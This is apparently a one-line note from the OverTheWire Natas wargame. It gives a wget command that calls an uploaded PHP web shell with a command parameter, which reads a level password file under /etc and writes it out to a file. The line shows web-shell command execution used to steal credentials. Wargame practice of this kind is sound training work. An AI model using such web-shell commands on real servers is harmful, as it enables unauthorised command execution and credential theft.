1. $(wget -v --http-user=natas12 --http-password=LEVEL12PWD --header=Host:natas12.natas.labs.overthewire.org http://localhost/upload/shell.php?cmd=echo%20$(cat /etc/natas_webpass/natas17)%3Epassword.txt)